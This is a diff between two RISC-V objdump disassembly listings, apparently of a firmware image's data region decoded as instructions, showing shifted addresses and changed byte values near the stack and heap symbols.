-    2456:	1401                	addi	s0,s0,-32
-    2458:	05000073          	0x5000073
-    245c:	0185                	addi	gp,gp,1
-    245e:	71f6                	flw	ft3,124(sp)
+    2446:	8405                	srai	s0,s0,0x1
+    2448:	af01                	j	2b58 <__stack_size+0x2358>
+    244a:	05000073          	0x5000073
+    244e:	0185                	addi	gp,gp,1
+    2450:	00007277          	0x7277
+    2454:	8605                	srai	a2,a2,0x1
+    2456:	d101                	beqz	a0,2356 <__stack_size+0x1b56>
+    2458:	0500004f          	0x500004f
+    245c:	423b0187          	0x423b0187
     2460:	0000                	unimp
-    2462:	8605                	srai	a2,a2,0x1
-    2464:	d401                	beqz	s0,236c <__stack_size+0x1b6c>
-    2466:	004e                	c.slli	zero,0x13
-    2468:	0500                	addi	s0,sp,640
-    246a:	41300187          	0x41300187
+    2462:	8805                	andi	s0,s0,1
+    2464:	ae01                	j	2774 <__stack_size+0x1f74>
+    2466:	05000013          	li	zero,80
+    246a:	0189                	addi	gp,gp,2
+    246c:	5545                	li	a0,-15
     246e:	0000                	unimp
-    2470:	8805                	andi	s0,s0,1
-    2472:	4701                	li	a4,0
-    2474:	0014                	0x14
+    2470:	8a05                	andi	a2,a2,1
+    2472:	3e01                	jal	1f82 <__stack_size+0x1782>
+    2474:	008d                	addi	ra,ra,3
     2476:	0500                	addi	s0,sp,640
-    2478:	0189                	addi	gp,gp,2
-    247a:	5409                	li	s0,-30
+    2478:	6e3c018b          	0x6e3c018b
     247c:	0000                	unimp
-    247e:	8a05                	andi	a2,a2,1
-    2480:	8b01                	andi	a4,a4,0
-    2482:	008c                	addi	a1,sp,64
+    247e:	8d05                	sub	a0,a0,s1
+    2480:	8f01                	sub	a4,a4,s0
+    2482:	0054                	addi	a3,sp,4
     2484:	0500                	addi	s0,sp,640
-    2486:	6da3018b          	0x6da3018b
+    2486:	76a00193          	li	gp,1898
     248a:	0000                	unimp
-    248c:	8d05                	sub	a0,a0,s1
-    248e:	3801                	jal	1c9e <__stack_size+0x149e>
-    2490:	05000053          	0x5000053
-    2494:	75f30193          	addi	gp,t1,1887
-    2498:	0000                	unimp
-    249a:	9405                	srai	s0,s0,0x21
-    249c:	3801                	jal	1cac <__stack_size+0x14ac>
-    249e:	0010                	0x10
+    248c:	9405                	srai	s0,s0,0x21
+    248e:	ed01                	bnez	a0,24a6 <__stack_size+0x1ca6>
+    2490:	0500000f          	fence	ow,unknown
+    2494:	0195                	addi	gp,gp,5
+    2496:	0000094b          	fnmsub.s	fs2,ft0,ft0,ft0,rne
+    249a:	9705                	srai	a4,a4,0x21
+    249c:	6501                	0x6501
+    249e:	0070                	addi	a2,sp,12
     24a0:	0500                	addi	s0,sp,640
-    24a2:	0195                	addi	gp,gp,5
-    24a4:	099f 0000 9705      	0x97050000099f
-    24aa:	cc01                	beqz	s0,24c2 <__stack_size+0x1cc2>
-    24ac:	0500006f          	j	24fc <__stack_size+0x1cfc>
-    24b0:	0198                	addi	a4,sp,192
-    24b2:	934d                	srli	a4,a4,0x33
+    24a2:	0198                	addi	a4,sp,192
+    24a4:	000093e7          	0x93e7
+    24a8:	9905                	andi	a0,a0,-31
+    24aa:	aa01                	j	25ba <__stack_size+0x1dba>
+    24ac:	008a                	slli	ra,ra,0x2
+    24ae:	0500                	addi	s0,sp,640
+    24b0:	019a                	slli	gp,gp,0x6
+    24b2:	8164                	0x8164
     24b4:	0000                	unimp
-    24b6:	9905                	andi	a0,a0,-31
-    24b8:	0701                	addi	a4,a4,0
-    24ba:	008a                	slli	ra,ra,0x2
+    24b6:	9b05                	andi	a4,a4,-31
+    24b8:	bb01                	j	21c8 <__stack_size+0x19c8>
+    24ba:	0001                	nop
     24bc:	0500                	addi	s0,sp,640
-    24be:	019a                	slli	gp,gp,0x6
-    24c0:	80e1                	srli	s1,s1,0x18
+    24be:	019c                	addi	a5,sp,192
+    24c0:	a000                	fsd	fs0,0(s0)
     24c2:	0000                	unimp
-    24c4:	9b05                	andi	a4,a4,-31
-    24c6:	e601                	bnez	a2,24ce <__stack_size+0x1cce>
-    24c8:	0001                	nop
-    24ca:	0500                	addi	s0,sp,640
-    24cc:	019c                	addi	a5,sp,192
-    24ce:	9fc8                	0x9fc8
-    24d0:	0000                	unimp
-    24d2:	0400                	addi	s0,sp,512
-    24d4:	0000                	unimp
-    24d6:	1d05                	addi	s10,s10,-31
-    24d8:	38a0                	fld	fs0,112(s1)
-    24da:	0000                	unimp
-    24dc:	6406                	flw	fs0,64(sp)
-    24de:	7556                	flw	fa0,116(sp)
-    24e0:	0000                	unimp
-    24e2:	6505                	lui	a0,0x1
-    24e4:	84bd                	srai	s1,s1,0xf
-    24e6:	0000                	unimp
-    24e8:	6606                	flw	fa2,64(sp)
-    24ea:	99a2                	add	s3,s3,s0
-    24ec:	0000                	unimp
-    24ee:	6705                	lui	a4,0x1
-    24f0:	9210                	0x9210
-    24f2:	0000                	unimp
-    24f4:	6a06                	flw	fs4,64(sp)
-    24f6:	7555                	lui	a0,0xffff5
-    24f8:	0000                	unimp
-    24fa:	6b05                	lui	s6,0x1
-    24fc:	7481                	lui	s1,0xfffe0
-    24fe:	0000                	unimp
-    2500:	6e06                	flw	ft8,64(sp)
-    2502:	8d9d                	sub	a1,a1,a5
-    2504:	0000                	unimp
-    2506:	6f05                	lui	t5,0x1
-    2508:	00003bc3          	fmadd.s	fs7,ft0,ft0,ft0,rup
-    250c:	7006                	flw	ft0,96(sp)
-    250e:	840a                	mv	s0,sp
-    2510:	0000                	unimp
-    2512:	7105                	addi	sp,sp,-480
-    2514:	9b8d                	andi	a5,a5,-29
-    2516:	0000                	unimp
-    2518:	7406                	flw	fs0,96(sp)
-    251a:	8d9c                	0x8d9c
-    251c:	0000                	unimp
-    251e:	7505                	lui	a0,0xfffe1
-    2520:	2542                	fld	fa0,16(sp)
-    2522:	0000                	unimp
-    2524:	7806                	flw	fa6,96(sp)
-    2526:	5ee2                	lw	t4,56(sp)
-    2528:	0000                	unimp
-    252a:	7905                	lui	s2,0xfffe1
-    252c:	892e                	mv	s2,a1
-    252e:	0000                	unimp
-    2530:	7a06                	flw	fs4,96(sp)
-    2532:	91b9                	srli	a1,a1,0x2e
-    2534:	0000                	unimp
-    2536:	7b05                	lui	s6,0xfffe1
-    2538:	6446                	flw	fs0,80(sp)
-    253a:	0000                	unimp
-    253c:	7e06                	flw	ft8,96(sp)
-    253e:	5ee1                	li	t4,-8
-    2540:	0000                	unimp
-    2542:	7f05                	lui	t5,0xfffe1
-    2544:	7d7a                	flw	fs10,188(sp)
+    24c4:	0400                	addi	s0,sp,512
+    24c6:	0000                	unimp
+    24c8:	1d05                	addi	s10,s10,-31
+    24ca:	00003993          	sltiu	s3,zero,0
+    24ce:	6406                	flw	fs0,64(sp)
+    24d0:	75f1                	lui	a1,0xffffc
+    24d2:	0000                	unimp
+    24d4:	6505                	lui	a0,0x1
+    24d6:	8539                	srai	a0,a0,0xe
+    24d8:	0000                	unimp
+    24da:	6606                	flw	fa2,64(sp)
+    24dc:	9a50                	0x9a50
+    24de:	0000                	unimp
+    24e0:	6705                	lui	a4,0x1
+    24e2:	000092b7          	lui	t0,0x9
+    24e6:	6a06                	flw	fs4,64(sp)
+    24e8:	75f0                	flw	fa2,108(a1)
+    24ea:	0000                	unimp
+    24ec:	6b05                	lui	s6,0x1
+    24ee:	751c                	flw	fa5,40(a0)
+    24f0:	0000                	unimp
+    24f2:	6e06                	flw	ft8,64(sp)
+    24f4:	8e50                	0x8e50
+    24f6:	0000                	unimp
+    24f8:	6f05                	lui	t5,0x1
+    24fa:	3cd0                	fld	fa2,184(s1)
+    24fc:	0000                	unimp
+    24fe:	7006                	flw	ft0,96(sp)
+    2500:	8490                	0x8490
+    2502:	0000                	unimp
+    2504:	7105                	addi	sp,sp,-480
+    2506:	9c0a                	add	s8,s8,sp
+    2508:	0000                	unimp
+    250a:	7406                	flw	fs0,96(sp)
+    250c:	00008e4f          	fnmadd.s	ft8,ft1,ft0,ft0,rne
+    2510:	7505                	lui	a0,0xfffe1
+    2512:	000025fb          	0x25fb
+    2516:	7806                	flw	fa6,96(sp)
+    2518:	5fee                	lw	t6,248(sp)
+    251a:	0000                	unimp
+    251c:	7905                	lui	s2,0xfffe1
+    251e:	89d1                	andi	a1,a1,20
+    2520:	0000                	unimp
+    2522:	7a06                	flw	fs4,96(sp)
+    2524:	9260                	0x9260
+    2526:	0000                	unimp
+    2528:	7b05                	lui	s6,0xfffe1
+    252a:	00006507          	0x6507
+    252e:	7e06                	flw	ft8,96(sp)
+    2530:	5fed                	li	t6,-5
+    2532:	0000                	unimp
+    2534:	7f05                	lui	t5,0xfffe1
+    2536:	7dfd                	lui	s11,0xfffff
+    2538:	0000                	unimp
+    253a:	8206                	mv	tp,ra
+    253c:	4b01                	li	s6,0
+    253e:	0062                	c.slli	zero,0x18
+    2540:	0500                	addi	s0,sp,640
+    2542:	1f440183          	lb	gp,500(s0)
     2546:	0000                	unimp
-    2548:	8206                	mv	tp,ra
-    254a:	4e01                	li	t3,0
-    254c:	0061                	c.nop	24
+    2548:	8406                	mv	s0,ra
+    254a:	5a01                	li	s4,-32
+    254c:	006c                	addi	a1,sp,12
     254e:	0500                	addi	s0,sp,640
-    2550:	1f0e0183          	lb	gp,496(t3)
+    2550:	0185                	addi	gp,gp,1
+    2552:	0401                	addi	s0,s0,0
     2554:	0000                	unimp
-    2556:	8406                	mv	s0,ra
-    2558:	e101                	bnez	a0,2558 <__stack_size+0x1d58>
-    255a:	05000093          	li	ra,80
-    255e:	0185                	addi	gp,gp,1
-    2560:	0471                	addi	s0,s0,28
+    2556:	8806                	mv	a6,ra
+    2558:	4a01                	li	s4,0
+    255a:	0062                	c.slli	zero,0x18
+    255c:	0500                	addi	s0,sp,640
+    255e:	0189                	addi	gp,gp,2
+    2560:	4476                	lw	s0,92(sp)
     2562:	0000                	unimp
-    2564:	8806                	mv	a6,ra
-    2566:	4d01                	li	s10,0
-    2568:	0061                	c.nop	24
+    2564:	8c06                	mv	s8,ra
+    2566:	a601                	j	2866 <__stack_size+0x2066>
+    2568:	0099                	addi	ra,ra,6
     256a:	0500                	addi	s0,sp,640
-    256c:	0189                	addi	gp,gp,2
-    256e:	00004377          	0x4377
-    2572:	8c06                	mv	s8,ra
-    2574:	0301                	addi	t1,t1,0
-    2576:	0099                	addi	ra,ra,6
-    2578:	0500                	addi	s0,sp,640
-    257a:	018d                	addi	gp,gp,3
-    257c:	00001a97          	auipc	s5,0x1
-    2580:	8e06                	mv	t3,ra
-    2582:	f201                	bnez	a2,2482 <__stack_size+0x1c82>
-    2584:	006e                	c.slli	zero,0x1b
+    256c:	018d                	addi	gp,gp,3
+    256e:	19cd                	addi	s3,s3,-13
+    2570:	0000                	unimp
+    2572:	8e06                	mv	t3,ra
+    2574:	8b01                	andi	a4,a4,0
+    2576:	0500006f          	j	25c6 <__stack_size+0x1dc6>
+    257a:	4490018f          	0x4490018f
+    257e:	0000                	unimp
+    2580:	9006                	c.add	zero,ra
+    2582:	a501                	j	2b82 <__stack_size+0x2382>
+    2584:	0099                	addi	ra,ra,6
     2586:	0500                	addi	s0,sp,640
-    2588:	4391018f          	0x4391018f
-    258c:	0000                	unimp
-    258e:	9006                	c.add	zero,ra
-    2590:	0201                	addi	tp,tp,0
-    2592:	0099                	addi	ra,ra,6
+    2588:	0191                	addi	gp,gp,4
+    258a:	029f 0000 9206      	0x92060000029f
+    2590:	8f01                	sub	a4,a4,s0
+    2592:	0002                	c.slli64	zero
     2594:	0500                	addi	s0,sp,640
-    2596:	0191                	addi	gp,gp,4
-    2598:	02d4                	addi	a3,sp,324
+    2596:	29cd0193          	addi	gp,s10,668 # ffffd29c <_heap_end+0x7ffeea9c>
     259a:	0000                	unimp
-    259c:	9206                	add	tp,tp,ra
-    259e:	c401                	beqz	s0,25a6 <__stack_size+0x1da6>
-    25a0:	0002                	c.slli64	zero
-    25a2:	0500                	addi	s0,sp,640
-    25a4:	29090193          	addi	gp,s2,656 # fffe1290 <_heap_end+0x7ffd2a90>
+    259c:	9406                	add	s0,s0,ra
+    259e:	9401                	srai	s0,s0,0x20
+    25a0:	05000003          	lb	zero,80(zero) # 50 <__stack_size-0x7b0>
+    25a4:	0195                	addi	gp,gp,5
+    25a6:	0300                	addi	s0,sp,384
     25a8:	0000                	unimp
-    25aa:	9406                	add	s0,s0,ra
-    25ac:	a701                	j	2cac <__stack_size+0x24ac>
-    25ae:	008d                	addi	ra,ra,3
+    25aa:	9606                	add	a2,a2,ra
+    25ac:	8e01                	sub	a2,a2,s0
+    25ae:	0002                	c.slli64	zero
     25b0:	0500                	addi	s0,sp,640
-    25b2:	0195                	addi	gp,gp,5
-    25b4:	00000373          	0x373
-    25b8:	9606                	add	a2,a2,ra
-    25ba:	c301                	beqz	a4,25ba <__stack_size+0x1dba>
-    25bc:	0002                	c.slli64	zero
-    25be:	0500                	addi	s0,sp,640
-    25c0:	78c40197          	auipc	gp,0x78c40
+    25b2:	794e0197          	auipc	gp,0x794e0
+    25b6:	0000                	unimp
+    25b8:	9806                	add	a6,a6,ra
+    25ba:	e801                	bnez	s0,25ca <__stack_size+0x1dca>
+    25bc:	0500001b          	0x500001b
+    25c0:	0199                	addi	gp,gp,6
+    25c2:	3e26                	fld	ft8,104(sp)
     25c4:	0000                	unimp
-    25c6:	9806                	add	a6,a6,ra
-    25c8:	ba01                	j	1ed8 <__stack_size+0x16d8>
-    25ca:	001c                	0x1c
+    25c6:	9a06                	add	s4,s4,ra
+    25c8:	6a01                	0x6a01
+    25ca:	0006                	c.slli	zero,0x1
     25cc:	0500                	addi	s0,sp,640
-    25ce:	0199                	addi	gp,gp,6
-    25d0:	00003d1b          	0x3d1b
-    25d4:	9a06                	add	s4,s4,ra
-    25d6:	1201                	addi	tp,tp,-32
-    25d8:	0024                	addi	s1,sp,8
-    25da:	0500                	addi	s0,sp,640
-    25dc:	5b87019b          	0x5b87019b
+    25ce:	5caa019b          	0x5caa019b
+    25d2:	0000                	unimp
+    25d4:	9c06                	add	s8,s8,ra
+    25d6:	e701                	bnez	a4,25de <__stack_size+0x1dde>
+    25d8:	0500001b          	0x500001b
+    25dc:	019d                	addi	gp,gp,7
+    25de:	7e44                	flw	fs1,60(a2)
     25e0:	0000                	unimp
-    25e2:	9c06                	add	s8,s8,ra
-    25e4:	b901                	j	21f4 <__stack_size+0x19f4>
-    25e6:	001c                	0x1c
-    25e8:	0500                	addi	s0,sp,640
-    25ea:	019d                	addi	gp,gp,7
-    25ec:	7dc1                	lui	s11,0xffff0
+    25e2:	9e06                	add	t3,t3,ra
+    25e4:	7b01                	lui	s6,0xfffe0
+    25e6:	001f 0500 019f      	0x19f0500001f
+    25ec:	227a                	fld	ft4,408(sp)
     25ee:	0000                	unimp
-    25f0:	9e06                	add	t3,t3,ra
-    25f2:	4501                	li	a0,0
-    25f4:	001f 0500 019f      	0x19f0500001f
-    25fa:	000021fb          	0x21fb
-    25fe:	a006                	fsd	ft1,0(sp)
-    2600:	5101                	li	sp,-32
-    2602:	0500006b          	0x500006b
-    2606:	01a1                	addi	gp,gp,8
-    2608:	71be                	flw	ft3,236(sp)
+    25f0:	a006                	fsd	ft1,0(sp)
+    25f2:	f301                	bnez	a4,24f2 <__stack_size+0x1cf2>
+    25f4:	0500006b          	0x500006b
+    25f8:	01a1                	addi	gp,gp,8
+    25fa:	0000723f 7a01a206 	0x7a01a2060000723f
+    2602:	001f 0500 01a3      	0x1a30500001f
+    2608:	679c                	flw	fa5,8(a5)
     260a:	0000                	unimp
-    260c:	a206                	fsd	ft1,256(sp)
-    260e:	4401                	li	s0,0
-    2610:	001f 0500 01a3      	0x1a30500001f
-    2616:	672c                	flw	fa1,72(a4)
-    2618:	0000                	unimp
-    261a:	a506                	fsd	ft1,136(sp)
-    261c:	2301                	jal	2b1c <__stack_size+0x231c>
-    261e:	0062                	c.slli	zero,0x18
-    2620:	0500                	addi	s0,sp,640
-    2622:	01a6                	slli	gp,gp,0x9
-    2624:	1cd9                	addi	s9,s9,-10
+    260c:	a506                	fsd	ft1,136(sp)
+    260e:	ee01                	bnez	a2,2626 <__stack_size+0x1e26>
+    2610:	0062                	c.slli	zero,0x18
+    2612:	0500                	addi	s0,sp,640
+    2614:	01a6                	slli	gp,gp,0x9
+    2616:	00001c07          	0x1c07
+    261a:	a706                	fsd	ft1,392(sp)
+    261c:	9401                	srai	s0,s0,0x20
+    261e:	0500004b          	0x500004b
+    2622:	01a8                	addi	a0,sp,200
+    2624:	9a2d                	andi	a2,a2,-21
     2626:	0000                	unimp
-    2628:	a706                	fsd	ft1,392(sp)
-    262a:	5b01                	li	s6,-32
-    262c:	004a                	c.slli	zero,0x12
+    2628:	a906                	fsd	ft1,144(sp)
+    262a:	ed01                	bnez	a0,2642 <__stack_size+0x1e42>
+    262c:	0062                	c.slli	zero,0x18
     262e:	0500                	addi	s0,sp,640
-    2630:	01a8                	addi	a0,sp,200
-    2632:	997f                	0x997f
+    2630:	01aa                	slli	gp,gp,0xa
+    2632:	2af8                	fld	fa4,208(a3)
     2634:	0000                	unimp
-    2636:	a906                	fsd	ft1,144(sp)
-    2638:	2201                	jal	2738 <__stack_size+0x1f38>
-    263a:	0062                	c.slli	zero,0x18
+    2636:	ab06                	fsd	ft1,400(sp)
+    2638:	1b01                	addi	s6,s6,-32
+    263a:	0088                	addi	a0,sp,64
     263c:	0500                	addi	s0,sp,640
-    263e:	01aa                	slli	gp,gp,0xa
-    2640:	2a2d                	jal	277a <__stack_size+0x1f7a>
+    263e:	01ac                	addi	a1,sp,200
+    2640:	9dc8                	0x9dc8
     2642:	0000                	unimp
-    2644:	ab06                	fsd	ft1,400(sp)
-    2646:	7801                	lui	a6,0xfffe0
-    2648:	05000087          	0x5000087
-    264c:	01ac                	addi	a1,sp,200
-    264e:	00009d73          	csrrw	s10,ustatus,ra
-    2652:	ad06                	fsd	ft1,152(sp)
-    2654:	ca01                	beqz	a2,2664 <__stack_size+0x1e64>
-    2656:	001c                	0x1c
+    2644:	ad06                	fsd	ft1,152(sp)
+    2646:	f801                	bnez	s0,2556 <__stack_size+0x1d56>
+    2648:	0500001b          	0x500001b
+    264c:	01ae                	slli	gp,gp,0xb
+    264e:	5226                	lw	tp,104(sp)
+    2650:	0000                	unimp
+    2652:	af06                	fsd	ft1,408(sp)
+    2654:	1a01                	addi	s4,s4,-32
+    2656:	0088                	addi	a0,sp,64
     2658:	0500                	addi	s0,sp,640
-    265a:	01ae                	slli	gp,gp,0xb
-    265c:	50fe                	lw	ra,252(sp)
-    265e:	0000                	unimp
-    2660:	af06                	fsd	ft1,408(sp)
-    2662:	7701                	lui	a4,0xfffe0
-    2664:	05000087          	0x5000087
-    2668:	01b0                	addi	a2,sp,200
-    266a:	02f8                	addi	a4,sp,332
+    265a:	01b0                	addi	a2,sp,200
+    265c:	461f 0000 b106      	0xb1060000461f
+    2662:	4201                	li	tp,0
+    2664:	0001                	nop
+    2666:	0500                	addi	s0,sp,640
+    2668:	01b2                	slli	gp,gp,0xc
+    266a:	a03d                	j	2698 <__stack_size+0x1e98>
     266c:	0000                	unimp
-    266e:	b106                	fsd	ft1,160(sp)
-    2670:	6d01                	0x6d01
-    2672:	0001                	nop
+    266e:	b306                	fsd	ft1,416(sp)
+    2670:	2801                	jal	2680 <__stack_size+0x1e80>
+    2672:	0035                	c.nop	13
     2674:	0500                	addi	s0,sp,640
-    2676:	01b2                	slli	gp,gp,0xc
-    2678:	a005                	j	2698 <__stack_size+0x1e98>
-    267a:	0000                	unimp
-    267c:	b306                	fsd	ft1,416(sp)
-    267e:	4801                	li	a6,0
-    2680:	0034                	addi	a3,sp,8
+    2676:	01b4                	addi	a3,sp,200
+    2678:	00007f07          	0x7f07
+    267c:	b506                	fsd	ft1,168(sp)
+    267e:	4101                	li	sp,0
+    2680:	0001                	nop
     2682:	0500                	addi	s0,sp,640
-    2684:	01b4                	addi	a3,sp,200
-    2686:	7e84                	flw	fs1,56(a3)
+    2684:	01b6                	slli	gp,gp,0xd
+    2686:	3d51                	jal	251a <__stack_size+0x1d1a>
     2688:	0000                	unimp
-    268a:	b506                	fsd	ft1,168(sp)
-    268c:	6c01                	0x6c01
-    268e:	0001                	nop
+    268a:	b706                	fsd	ft1,424(sp)
+    268c:	b401                	j	208c <__stack_size+0x188c>
+    268e:	0004                	0x4
     2690:	0500                	addi	s0,sp,640
-    2692:	01b6                	slli	gp,gp,0xd
-    2694:	00003c2f          	0x3c2f
-    2698:	b706                	fsd	ft1,424(sp)
-    269a:	3401                	jal	209a <__stack_size+0x189a>
-    269c:	0005                	c.nop	1
+    2692:	01b8                	addi	a4,sp,200
+    2694:	09a4                	addi	s1,sp,216
+    2696:	0000                	unimp
+    2698:	b906                	fsd	ft1,176(sp)
+    269a:	9701                	srai	a4,a4,0x20
+    269c:	0038                	addi	a4,sp,8
     269e:	0500                	addi	s0,sp,640
-    26a0:	01b8                	addi	a4,sp,200
-    26a2:	0a0e                	slli	s4,s4,0x3
-    26a4:	0000                	unimp
-    26a6:	b906                	fsd	ft1,176(sp)
-    26a8:	c901                	beqz	a0,26b8 <__stack_size+0x1eb8>
-    26aa:	05000037          	lui	zero,0x5000
-    26ae:	01ba                	slli	gp,gp,0xe
-    26b0:	0000a043          	fmadd.s	ft0,ft1,ft0,ft0,rdn
-    26b4:	bb06                	fsd	ft1,432(sp)
-    26b6:	3301                	jal	23b6 <__stack_size+0x1bb6>
-    26b8:	0005                	c.nop	1
+    26a0:	01ba                	slli	gp,gp,0xe
+    26a2:	0000a07b          	0xa07b
+    26a6:	bb06                	fsd	ft1,432(sp)
+    26a8:	b301                	j	23a8 <__stack_size+0x1ba8>
+    26aa:	0004                	0x4
+    26ac:	0500                	addi	s0,sp,640
+    26ae:	01bc                	addi	a5,sp,200
+    26b0:	3f0c                	fld	fa1,56(a4)
+    26b2:	0000                	unimp
+    26b4:	bf06                	fsd	ft1,440(sp)
+    26b6:	6501                	0x6501
+    26b8:	0024                	addi	s1,sp,8
     26ba:	0500                	addi	s0,sp,640
-    26bc:	01bc                	addi	a5,sp,200
-    26be:	3e01                	jal	21ce <__stack_size+0x19ce>
+    26bc:	01c0                	addi	s0,sp,196
+    26be:	867d                	srai	a2,a2,0x1f
     26c0:	0000                	unimp
-    26c2:	bf06                	fsd	ft1,440(sp)
-    26c4:	b901                	j	22d4 <__stack_size+0x1ad4>
-    26c6:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
-    26ca:	01c0                	addi	s0,sp,196
-    26cc:	1c74                	addi	a3,sp,572
+    26c2:	c106                	sw	ra,128(sp)
+    26c4:	d601                	beqz	a2,25cc <__stack_size+0x1dcc>
+    26c6:	0068                	addi	a0,sp,12
+    26c8:	0500                	addi	s0,sp,640
+    26ca:	01c2                	slli	gp,gp,0x10
+    26cc:	0f18                	addi	a4,sp,912
     26ce:	0000                	unimp
-    26d0:	c106                	sw	ra,128(sp)
-    26d2:	1901                	addi	s2,s2,-32
-    26d4:	0068                	addi	a0,sp,12
+    26d0:	c506                	sw	ra,136(sp)
+    26d2:	6401                	0x6401
+    26d4:	0024                	addi	s1,sp,8
     26d6:	0500                	addi	s0,sp,640
-    26d8:	01c2                	slli	gp,gp,0x10
-    26da:	0f60                	addi	s0,sp,924
+    26d8:	01c6                	slli	gp,gp,0x11
+    26da:	851d                	srai	a0,a0,0x7
     26dc:	0000                	unimp
-    26de:	c506                	sw	ra,136(sp)
-    26e0:	b801                	j	1ef0 <__stack_size+0x16f0>
-    26e2:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
-    26e6:	01c6                	slli	gp,gp,0x11
-    26e8:	84a1                	srai	s1,s1,0x8
-    26ea:	0000                	unimp
-    26ec:	c906                	sw	ra,144(sp)
-    26ee:	d201                	beqz	a2,25ee <__stack_size+0x1dee>
-    26f0:	0012                	c.slli	zero,0x4
-    26f2:	0500                	addi	s0,sp,640
-    26f4:	01ca                	slli	gp,gp,0x12
-    26f6:	00009f57          	0x9f57
-    26fa:	cb06                	sw	ra,148(sp)
-    26fc:	9801                	andi	s0,s0,-32
-    26fe:	0056                	c.slli	zero,0x15
+    26de:	c906                	sw	ra,144(sp)
+    26e0:	4401                	li	s0,0
+    26e2:	0012                	c.slli	zero,0x4
+    26e4:	0500                	addi	s0,sp,640
+    26e6:	01ca                	slli	gp,gp,0x12
+    26e8:	00009f8f          	0x9f8f
+    26ec:	cb06                	sw	ra,148(sp)
+    26ee:	d501                	beqz	a0,25f6 <__stack_size+0x1df6>
+    26f0:	05000057          	0x5000057
+    26f4:	01cc                	addi	a1,sp,196
+    26f6:	0cec                	addi	a1,sp,604
+    26f8:	0000                	unimp
+    26fa:	cd06                	sw	ra,152(sp)
+    26fc:	4301                	li	t1,0
+    26fe:	0012                	c.slli	zero,0x4
     2700:	0500                	addi	s0,sp,640
-    2702:	01cc                	addi	a1,sp,196
-    2704:	61d6                	flw	ft3,84(sp)
-    2706:	0000                	unimp
-    2708:	cd06                	sw	ra,152(sp)
-    270a:	d101                	beqz	a0,260a <__stack_size+0x1e0a>
-    270c:	0012                	c.slli	zero,0x4
+    2702:	01ce                	slli	gp,gp,0x13
+    2704:	a05f 0000 d206      	0xd2060000a05f
+    270a:	b801                	j	1f1a <__stack_size+0x171a>
+    270c:	0018                	0x18
     270e:	0500                	addi	s0,sp,640
-    2710:	01ce                	slli	gp,gp,0x13
-    2712:	0000a027          	fsw	ft0,0(ra) # 5001f7a <__stack_size+0x500177a>
-    2716:	d206                	sw	ra,36(sp)
+    2710:	39a201d3          	0x39a201d3
+    2714:	0000                	unimp
+    2716:	d406                	sw	ra,40(sp)
     2718:	6901                	0x6901
-    271a:	0019                	c.nop	6
+    271a:	007d                	c.nop	31
     271c:	0500                	addi	s0,sp,640
-    271e:	0d4701d3          	0xd4701d3
+    271e:	01d5                	addi	gp,gp,21
+    2720:	2b76                	fld	fs6,344(sp)
     2722:	0000                	unimp
-    2724:	d406                	sw	ra,40(sp)
-    2726:	7301                	lui	t1,0xfffe0
-    2728:	0041                	c.nop	16
+    2724:	d706                	sw	ra,172(sp)
+    2726:	7601                	lui	a2,0xfffe0
+    2728:	0096                	slli	ra,ra,0x5
     272a:	0500                	addi	s0,sp,640
-    272c:	01d5                	addi	gp,gp,21
-    272e:	00002aab          	0x2aab
-    2732:	d706                	sw	ra,172(sp)
-    2734:	c701                	beqz	a4,273c <__stack_size+0x1f3c>
-    2736:	0095                	addi	ra,ra,5
+    272c:	01d8                	addi	a4,sp,196
+    272e:	3f64                	fld	fs1,248(a4)
+    2730:	0000                	unimp
+    2732:	d906                	sw	ra,176(sp)
+    2734:	4101                	li	sp,0
+    2736:	0008                	0x8
     2738:	0500                	addi	s0,sp,640
-    273a:	01d8                	addi	a4,sp,196
-    273c:	3e59                	jal	22d2 <__stack_size+0x1ad2>
+    273a:	01da                	slli	gp,gp,0x16
+    273c:	9144                	0x9144
     273e:	0000                	unimp
-    2740:	d906                	sw	ra,176(sp)
-    2742:	db01                	beqz	a4,2652 <__stack_size+0x1e52>
-    2744:	0052                	c.slli	zero,0x14
+    2740:	dc06                	sw	ra,56(sp)
+    2742:	3f01                	jal	2652 <__stack_size+0x1e52>
+    2744:	002c                	addi	a1,sp,8
     2746:	0500                	addi	s0,sp,640
-    2748:	01da                	slli	gp,gp,0x16
-    274a:	6526                	flw	fa0,72(sp)
+    2748:	01dd                	addi	gp,gp,23
+    274a:	768a                	flw	fa3,160(sp)
     274c:	0000                	unimp
-    274e:	dc06                	sw	ra,56(sp)
-    2750:	7401                	lui	s0,0xfffe0
-    2752:	0500002b          	0x500002b
-    2756:	01dd                	addi	gp,gp,23
-    2758:	4d2d                	li	s10,11
+    274e:	df06                	sw	ra,188(sp)
+    2750:	5101                	li	sp,-32
+    2752:	006e                	c.slli	zero,0x1b
+    2754:	0500                	addi	s0,sp,640
+    2756:	01e0                	addi	s0,sp,204
+    2758:	2c72                	fld	fs8,280(sp)
     275a:	0000                	unimp
-    275c:	df06                	sw	ra,188(sp)
-    275e:	b801                	j	1f6e <__stack_size+0x176e>
-    2760:	006d                	c.nop	27
+    275c:	e106                	fsw	ft1,128(sp)
+    275e:	c001                	beqz	s0,275e <__stack_size+0x1f5e>
+    2760:	002a                	c.slli	zero,0xa
     2762:	0500                	addi	s0,sp,640
-    2764:	01e0                	addi	s0,sp,204
-    2766:	00002ba7          	fsw	ft0,23(zero) # 17 <__stack_size-0x7e9>
-    276a:	e106                	fsw	ft1,128(sp)
-    276c:	f501                	bnez	a0,2674 <__stack_size+0x1e74>
-    276e:	0029                	c.nop	10
+    2764:	01e2                	slli	gp,gp,0x18
+    2766:	000084ab          	0x84ab
+    276a:	e406                	fsw	ft1,8(sp)
+    276c:	cf01                	beqz	a4,2784 <__stack_size+0x1f84>
+    276e:	0096                	slli	ra,ra,0x5
     2770:	0500                	addi	s0,sp,640
-    2772:	01e2                	slli	gp,gp,0x18
-    2774:	8425                	srai	s0,s0,0x9
+    2772:	01e5                	addi	gp,gp,25
+    2774:	57b0                	lw	a2,104(a5)
     2776:	0000                	unimp
-    2778:	e406                	fsw	ft1,8(sp)
-    277a:	2001                	jal	277a <__stack_size+0x1f7a>
-    277c:	0096                	slli	ra,ra,0x5
+    2778:	e606                	fsw	ft1,12(sp)
+    277a:	3001                	jal	1f7a <__stack_size+0x177a>
+    277c:	0051                	c.nop	20
     277e:	0500                	addi	s0,sp,640
-    2780:	01e5                	addi	gp,gp,25
-    2782:	541d                	li	s0,-25
+    2780:	77f701e7          	jalr	gp,1919(a4) # 177f <__stack_size+0xf7f>
     2784:	0000                	unimp
-    2786:	e606                	fsw	ft1,12(sp)
-    2788:	0801                	addi	a6,a6,0
